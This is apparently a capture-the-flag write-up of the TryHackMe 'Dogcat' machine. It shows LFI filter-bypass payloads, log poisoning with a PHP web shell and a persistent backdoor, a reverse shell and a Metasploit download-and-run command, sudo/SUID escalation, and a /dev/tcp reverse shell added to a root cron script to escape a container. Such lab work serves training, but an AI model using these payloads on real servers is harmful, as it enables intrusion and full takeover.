Post

TryHackMe | Dogcat

Writeup of a medium-rated Linux Machine from TryHackMe


Dogcat is a vulnerable machine which focuses primarily on web exploitation, specifically the exploitation of an LFI vulnerability with the implementation of various bypassing techniques. To gain an initial foothold, a Log Poisoning attack can be utilized to achieve remote code execution on the server. After gaining access, several indications suggest that we are within a Docker container, where a misconfigured SUDO can be exploited to become a root user, but only within the container. To escape from the container, a vulnerable backup bash script that runs every minute, can be exploited to gain root access on the host.

Enumeration


Scanning

As always, let’s start the enumeration process by scanning the target machine with Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nmap -sC -sV -A -T4 -p- 10.10.3.151
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-25 15:45 EDT
Nmap scan report for 10.10.3.151
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2431192ab1971a044e2c36ac840a7587 (RSA)
|   256 213d461893aaf9e7c9b54c0f160b71e1 (ECDSA)
|_  256 c1fb7d732b574a8bdcd76f49bb3bd020 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   183.82 ms 10.8.0.1
2   177.99 ms 10.10.3.151

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.35 seconds

The target machine has 2 open ports:

  • An SSH server OpenSSH 7.6p1 running on port 22
  • An HTTP server Apache httpd 2.4.38 running on port 80

Service Enumeration

Enumerating dogcat.thm

Let’s assign a domain name, such as dogcat.thm to the target machine IP and add it to /etc/hosts, in order to simplify the enumeration process.

1
$ echo '10.10.3.151 dogcat.thm' >> /etc/hosts

Navigating to http://dogcat.thm, you will be presented with the following page, where you have two options to choose from: dog and cat

http://dogcat.thm


Clicking on one of the options (for example A dog) leads to http://dogcat.thm/?view=dog

http://dogcat.thm/?view=dog


Exploitation


Local File Inclusion

Testing Directory Traversal:

The first thing that comes to mind when you see this kind of URL scheme is to look for a directory traversal vulnerability. Trying to read the classic /etc/passwd via directory traversal does not lead anywhere. In fact, there is some kind of filter in the back-end, which filters any value that does not have the word 'cat' or 'dog'. In other words, as long as the value included in the view parameter does not contain 'cat' or 'dog', the backend php script will always return the error message: Sorry, only dogs or cats are allowed.

"Sorry, only dogs or cats are allowed." Error message


If we were to inject a payload such as ../../../etc/passwd%00cat, it would cause the backend php script to return an unhandled error message like the one below:

Triggering an error message


Another important thing to mention is that the backend PHP script append the extension .php to any value injected in the view parameter. For example, if we were to inject cat.php, we would get the following error message:

Appended .php extension

Based on this analysis, I would assume that the backend PHP script might look to something like the following:

1
2
3
4
5
6
7
8
9
$file = $_GET['view'];
// Input validation
if(!preg_match("/\b(cat|dog)\b/i", $file)){
    echo "Sorry, only dogs or cats are allowed.";
    exit;
} else {
     $file = $file . '.php'; // Append '.php' to the $file variable
    include($file);
}
  • This PHP script takes in a user input view from the URL query string using $_GET and then validate the input using preg_match() to ensure it contains the string cat or dog. If the input does not contain either of these strings, it will output the error message "Sorry, only dogs or cats are allowed." and exit the script. Otherwise, the code will append the extension .php to the $file variable and then include the file specified by the user using include().

Reading index.php source code:

One way to get the source code index.php is using convert.base64-encode filter with the PHP wrapper php://filter, which fetches the content of the script and then prints out the base64 version of it. Unfortunately, we cannot simply inject the view parameter with something like:

1
php://filter/convert.base64-encode/resource=/var/www/html/index.php

because our payload does not have the strings dog or cat as a substring. Hence the error message:

Testing php://filter payload


In order to bypass this check, we can inject the following payload, which does contain the string 'cat', hence bypasses the check.

1
php://filter/convert.base64-encode/resource=/var/www/html/cat.php../../../../../var/www/html/index

In the backend, the include statement would attempt to include the file located at the path /var/www/html/cat.php../../../../var/www/html/index.php, and since ../ in a file path is used to move up one directory level, ../../../../ means the include statement would attempt to go up 4 levels from /var/www/html/cat.php, which will lead to the root / directory and eventually including the source /var/www/html/index + the appended extension .php

Burpsuite (Repeater)


  • Let’s base64 decode the response:
1
$ echo -n <response> | base64 --decode

  • Well, it appears that our guessing attempt was not quite accurate 😅

In this PHP script, the check is made by the containsStr() function, which takes in two arguments - a string, represented by the value passed to the view parameter, and a substring (‘cat’ or ‘dog’), and returns true if the substring is found in the string and false otherwise. There is also an optional ext parameter, which has a default value of .php, and is appended to the value passed to the view parameter.

Reading /etc/passwd:

To retrieve the content of /etc/passwd file, we can use the php://filter wrapper, just like we did to retrieve the source code, using the following payload:

1
php://filter/convert.base64-encode/resource=/var/www/html/cat.php../../../../etc/passwd&ext=
  • 📍 Take note of the ext parameter, which has no assigned value. This is done intentionally to prevent the default .php extension from being added to the /etc/passwd string.

⚠️ It should be noted that due to the PHP version being used (php7.4.3 > php5.3), the conventional technique of using %00 to bypass the appended extension cannot be employed in this scenario.

Alternatively, we can use the below payload to retrieve the content in plain text and avoid the hassle of having to base64 decode the response.

1
/?view=/var/www/html/cat.php../../../../../etc/passwd&ext=

/etc/passwd


Automating the exploitation:

To simplify the process, I have written a Python script that automates the exploitation of this LFI vulnerability. By providing the full file path of the desired file, the script will handle the entire retrieval process.

🎯 Execution:

Web shell via Log Poisoning

Log Poisoning:

Log poisoning involves injecting PHP code into log files so that when they are loaded and executed, the PHP code is executed as well. For instance, the access log file /var/log/apache2/acces.log records each visit to the site with the URL visited and the user-agent string of the browser. One simple way to perform log poisoning is by modifying the User-Agent header to include PHP code and then including the log file with our LFI.

Reading /var/log/apache2/access.log:

Let’s retrieve the content of the access log file, using our Python script

/var/log/apache2/access.log


POC:

Now that we can read the access log file, let’s try to modify the User-Agent string to include the following PHP code, which will output some information about the current PHP configuration

1
<?php phpinfo(); ?>

To do so, we can send the request using curl with the -A option to set the User-Agent header:

1
$ curl -A '<?php phpinfo(); ?>' http://dogcat.thm


In the browser, let’s get the content of /var/log/apache2/access.log, by visiting http://dogcat.thm/?view=/var/www/html/cat.php../../../../../var/log/apache2/access&ext=.log

phpinfo()


Web shell:

Using Burp, Let’s inject the User-Agent header, with the following:

1
[Output]: <?php system($_GET['cmd']); ?>

📍 Adding a marker, such as "[output]", in your web shell is recommended to make it easier to locate your output in the log file as it grows. This way, you can quickly find your output with Ctrl+F even as the log file becomes larger.

Injecting the User-Agent header in Burpsuite


By visiting http://dogcat.thm/?view=/var/www/html/cat.php../../../../../var/log/apache2/access&ext=.log&cmd=id, you should see the output of id in the logs prepended by the marker [Output]:

id output in the web page


Backdooring the web shell:

To upgrade our basic web shell, we can stage a backdoor, which is essentially a PHP script that will contain the below PHP code, and then we can use this backdoor to get remote code execution on the webserver.

1
<?php echo '[Output]: '; system($_GET['cmd']); ?>

To do so, we can use our web shell to execute the following command:

1
echo '<?php echo "[output]: ";system($_GET["cmd"]); ?>' > backdoor.php

Then, we can execute arbitrary commands on the server via our backdoor, by accessing the URL http://dogcat.thm/backdoor.php?cmd=whoami

Remote code execution via php backdoor


  • Nice and Clean 👌

Initial Access

Shell as www-data |Container|

via upload of php-reverse-shell.php:

After having remote code execution on the server, one way to get a shell as www-data is by uploading php-reverse-shell.php in the web root /var/www/html and then run it by accessing http://dogcat.thm/php-reverse-shell.php. The script will open an outbound TCP connection from the webserver to a host and port of your choice. To do so, let’s download the PHP script and extract the content of the archive:

1
2
$ wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
$ tar xvf php-reverse-shell-1.0.tar.gz

Now cd into php-reverse-shell-1.0 directory and then open php-reverse-shell.php file in a text editor. After opening the file, you need to change the values of the $ip and $port variables. To do this, replace the default values with your tun0 IP address and a port number of your choosing, respectively, as shown below.

Modifying $ip and $port


Now it’s time to initiate a python webserver that will host the PHP script php-reverse-shell.php and upload it into the web root /var/www/html:

1
2
$ python3 -m http.server 80
$ curl 'http://dogcat.thm/backdoor.php?cmd=curl%20http://<Tun0_IP>/php-reverse-shell.php%20-o%20php-reverse-shell.php'

Uploading php-reverse-shell.php file


Finally, start a TCP listener on the same port you specified in the script:

1
$ nc -nlvp 9999

And then run the script php-reverse-shell.php by simply browsing to http://dogcat.php/php-reverse-shell.php

1
$ curl 'http://dogcat.thm/php-reverse-shell.php'

If everything went well, you should have received a shell on your netcat listener:

Reverse shell received


  • Unfortunately, the server does not have Python installed, thus preventing us from transforming our shell into a more stable PTY shell.

via Metasploit's web delivery:

The other way to get a more stabilized shell is via Metasploit’s Web Delivery Script, which is used to generate payloads that can be delivered to a target system through a web page or any other way where we can have remote code execution.

First of all, let’s launch the Metasploit console and use the web delivery module:

1
2
$ msfconsole -q
msf6 > use exploit/multi/script/web_delivery  

Next, we need to set the language for generating the payload that will be understood by the target, which is in our case, php:

1
msf6 exploit(multi/script/web_delivery) > set target 1

Web delivery Targets


Then, we set the payload, SRVHOST, SRVPORT, LHOST and run the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set SRVHOST <tun0_IP>
msf6 exploit(multi/script/web_delivery) > set SRVPORT 80
msf6 exploit(multi/script/web_delivery) > set LHOST <tun0_IP>
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.8.16.233:4444 
[*] Using URL: http://10.8.16.233/DTvVzG5IyLN
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://<tun0_IP>/DTvVzG5IyLN', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

Web delivery's PHP payload


Finally, we run the given command on the victim using our backdoor web shell, by browsing to:

1
http://dogcat.thm/backdoor.php?cmd=<Web-delivery_command>

Sending the payload


Session established successfully


If all went well, you should be able to interact with a Meterpreter session, by typing the command:

1
msf6 exploit(multi/script/web_delivery) > sessions -i <SESSION_ID>

Meterpreter shell


Flags:
  • 🚩 Flag 1: /var/www/html/flag.php

/var/www/html/flag.php


  • 🚩 Flag 2: /var/www/flag2_QMW7JvaY2LvK.txt

/var/www/flag2_QMW7JvaY2LvK.txt


Privilege Escalation


Shell as root |Container|:

Method 1: Finding SUID executables:

By using the following command, we can enumerate all binaries having SUID permissions:

1
find / -type f -perm -04000 -ls 2>/dev/null

suid bit set in /usr/bin/env


Exploitation:

As you can see, the binary /usr/bin/env has the suid bit set, which means we can run any env as www-data (our current user), with root privileges. Referring to GTFOBins, shows that by just running the following command, we should get a root shell:

1
$ /usr/bin/env /bin/sh -p

root shell


Method 2: sudo -l:

By running the following command, we can see what binaries and executables can our current user www-data run with root privileges:

1
$ sudo -l

sudo -l


Exploitation:

As you can see, www-data can run /usr/bin/env as root, and according to GTFOBins, we can run the following command to get a root shell:

1
$ sudo /usr/bin/env /bin/sh

root shell


🚩 Flag 3:

/root/flag3.txt


Shell as root (Host-dogcat)

There are some indications that give away the fact that we are inside a docker container and not inside the actual machine:

  • The hostname is a random string

hostname


  • There is a .dockerenv file in the system root /

.dockerenv


  • Common binaries like ifconfig, ip, python3 are missing.

With that said, we need to break out of this docker container.

Docker Breakout:

There is a backup script in /opt/backups which creates a tar archive file names backup.tar in the directory /root/container/backup that contains all the files and directories in the directory /root/container

1
2
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

Additionally, this backup script is executed every minute, as the timestamp of the backup.tar file is modified every minute:

backup.tar creation time


Since we have write access on this backup script, we can insert backdoor that activates a reverse shell script and gain root-level access to the host machine running the container.

1
$ echo 'bash -i >& /dev/tcp/<tun0_IP>/<PORT> 0>&1' >> backup.sh

simple reverse shell backdoor


After 1 minute, you should receive a shell on your netcat listener:

root shell


🚩 Flag 4:

/root/flag4.txt
This post is licensed under CC BY 4.0 by the author.